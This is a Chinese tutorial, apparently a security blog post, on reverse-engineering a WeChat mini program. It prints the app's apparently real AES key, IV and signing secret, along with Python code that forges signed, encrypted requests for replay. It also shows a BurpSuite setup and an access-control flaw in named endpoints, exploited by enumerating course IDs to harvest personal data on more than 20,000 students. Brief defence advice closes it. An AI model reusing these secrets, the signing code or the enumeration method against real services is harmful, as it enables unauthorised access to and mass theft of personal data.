初试小程序逆向
字数 1100 2025-08-23 18:31:25

小程序逆向分析与签名破解实战教程

一、前言

本教程将详细讲解如何对微信小程序进行逆向分析,破解其加密机制和签名算法,实现数据包重放攻击。通过本教程,您将学习到:

  1. 小程序反编译技术
  2. AES加密解密分析
  3. 签名算法逆向
  4. 时间戳与随机数生成机制
  5. BurpSuite插件自动化处理

二、小程序反编译

工具准备

使用wux1an/wxapkg工具反编译本地微信小程序:

  1. 找到微信小程序的.wxapkg包文件
  2. 使用工具解包获取JavaScript源码

关键信息获取

通过分析源码,发现以下关键信息:

  • 使用AES加密,CBC模式
  • 获取到密钥(key)和初始向量(iv)
  • 发现签名机制(SignMD5)

三、AES加密分析

加密参数

  • 密钥(key): Wet2C8d34f62ndi3
  • 初始向量(iv): K6iv85jBD8jgf32D
  • 模式: CBC

Python实现代码

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import base64

def Encrypt(data, key, iv):
    key_bytes = key.encode('utf-8')
    iv_bytes = iv.encode('utf-8')
    cipher = AES.new(key_bytes, AES.MODE_CBC, iv_bytes)
    ct_bytes = cipher.encrypt(pad(data.encode('utf-8'), AES.block_size))
    return base64.b64encode(ct_bytes).decode('utf-8')

def Decrypt(encrypted_data, key, iv):
    key_bytes = key.encode('utf-8')
    iv_bytes = iv.encode('utf-8')
    cipher = AES.new(key_bytes, AES.MODE_CBC, iv_bytes)
    pt_bytes = cipher.decrypt(base64.b64decode(encrypted_data))
    return unpad(pt_bytes, AES.block_size).decode('utf-8')

四、签名算法分析

签名机制

  1. 对请求参数按键名进行排序
  2. 拼接键值对(格式:keyvalue
  3. 在拼接后的字符串末尾添加密钥(secret_key)
  4. 计算MD5哈希值

签名密钥

secret_key = "rDJiNB9j7vD2"

Python实现代码

import hashlib
import json

def sign_md5(data, secret_key):
    # 对数据进行排序并拼接
    sorted_data = sorted(data.items())
    joined_data = ''.join([f'{key}{value}' for key, value in sorted_data])
    
    # 添加密钥并计算MD5哈希值
    joined_data_with_key = joined_data + secret_key
    md5_hash = hashlib.md5(joined_data_with_key.encode()).hexdigest()
    return md5_hash

五、时间戳与随机数机制

生成规则

  1. timestamp:当前Unix时间戳
  2. nonce
    • timestamp的最后三位
    • 如果第一位是0则去掉
    • 补随机数至6位

Python实现代码

import time
import random

def generate_timestamp_and_nonce():
    # 生成timestamp
    timestamp = int(time.time())
    
    # 获取timestamp的最后三位
    last_three_digits = str(timestamp)[-3:]
    
    # 如果最后三位开头为0,则去掉0
    if last_three_digits[0] == '0':
        last_three_digits = last_three_digits[1:]
    
    # 计算需要补齐的数字数量
    num_zeros_to_pad = 6 - len(last_three_digits)
    
    # 随机生成需要补齐的数字
    random_digits = ''.join(str(random.randint(0, 9)) for _ in range(num_zeros_to_pad))
    
    # 构造nonce
    nonce = int(last_three_digits + random_digits)
    
    return timestamp, nonce

六、BurpSuite自动化处理

使用autoDecoder插件

  1. 下载并安装autoDecoder插件
  2. 配置加解密规则:
    • 请求加密
    • 响应解密
  3. 编写正则表达式匹配请求和响应中的加密数据

配置效果

  • 原始加密请求 → 自动解密显示
  • 修改后请求 → 自动加密发送

七、漏洞利用实例

接口越权访问

发现以下接口存在信息泄露:

  • /v3/api.php/TeacherCourse/getStudentList
  • /v3/api.php/Exam/classPlanStudentList

利用方式

  1. 使用普通用户账号访问
  2. 修改course_id参数遍历数据
  3. 获取敏感信息(学号、姓名、学院专业等)

数据规模

  • course_id范围:500+
  • 受影响用户:2w+

八、防御建议

  1. 加强接口权限控制
  2. 改进签名算法(加入更多动态参数)
  3. 限制接口访问频率
  4. 对敏感信息进行二次加密
  5. 定期更换加密密钥

九、总结

通过本教程,我们完整地演示了:

  1. 小程序逆向分析流程
  2. 加密算法破解方法
  3. 签名机制逆向工程
  4. 自动化工具配置
  5. 实际漏洞利用案例

这种分析方法不仅适用于微信小程序,也可应用于其他类似场景的安全评估。

小程序逆向分析与签名破解实战教程 一、前言 本教程将详细讲解如何对微信小程序进行逆向分析,破解其加密机制和签名算法,实现数据包重放攻击。通过本教程,您将学习到: 小程序反编译技术 AES加密解密分析 签名算法逆向 时间戳与随机数生成机制 BurpSuite插件自动化处理 二、小程序反编译 工具准备 使用 wux1an/wxapkg 工具反编译本地微信小程序: 找到微信小程序的 .wxapkg 包文件 使用工具解包获取JavaScript源码 关键信息获取 通过分析源码,发现以下关键信息: 使用AES加密,CBC模式 获取到密钥(key)和初始向量(iv) 发现签名机制(SignMD5) 三、AES加密分析 加密参数 密钥(key): Wet2C8d34f62ndi3 初始向量(iv): K6iv85jBD8jgf32D 模式: CBC Python实现代码 四、签名算法分析 签名机制 对请求参数按键名进行排序 拼接键值对(格式: keyvalue ) 在拼接后的字符串末尾添加密钥( secret_key ) 计算MD5哈希值 签名密钥 secret_key = "rDJiNB9j7vD2" Python实现代码 五、时间戳与随机数机制 生成规则 timestamp :当前Unix时间戳 nonce : 取 timestamp 的最后三位 如果第一位是0则去掉 补随机数至6位 Python实现代码 六、BurpSuite自动化处理 使用autoDecoder插件 下载并安装autoDecoder插件 配置加解密规则: 请求加密 响应解密 编写正则表达式匹配请求和响应中的加密数据 配置效果 原始加密请求 → 自动解密显示 修改后请求 → 自动加密发送 七、漏洞利用实例 接口越权访问 发现以下接口存在信息泄露: /v3/api.php/TeacherCourse/getStudentList /v3/api.php/Exam/classPlanStudentList 利用方式 使用普通用户账号访问 修改 course_id 参数遍历数据 获取敏感信息(学号、姓名、学院专业等) 数据规模 course_id 范围:500+ 受影响用户:2w+ 八、防御建议 加强接口权限控制 改进签名算法(加入更多动态参数) 限制接口访问频率 对敏感信息进行二次加密 定期更换加密密钥 九、总结 通过本教程,我们完整地演示了: 小程序逆向分析流程 加密算法破解方法 签名机制逆向工程 自动化工具配置 实际漏洞利用案例 这种分析方法不仅适用于微信小程序,也可应用于其他类似场景的安全评估。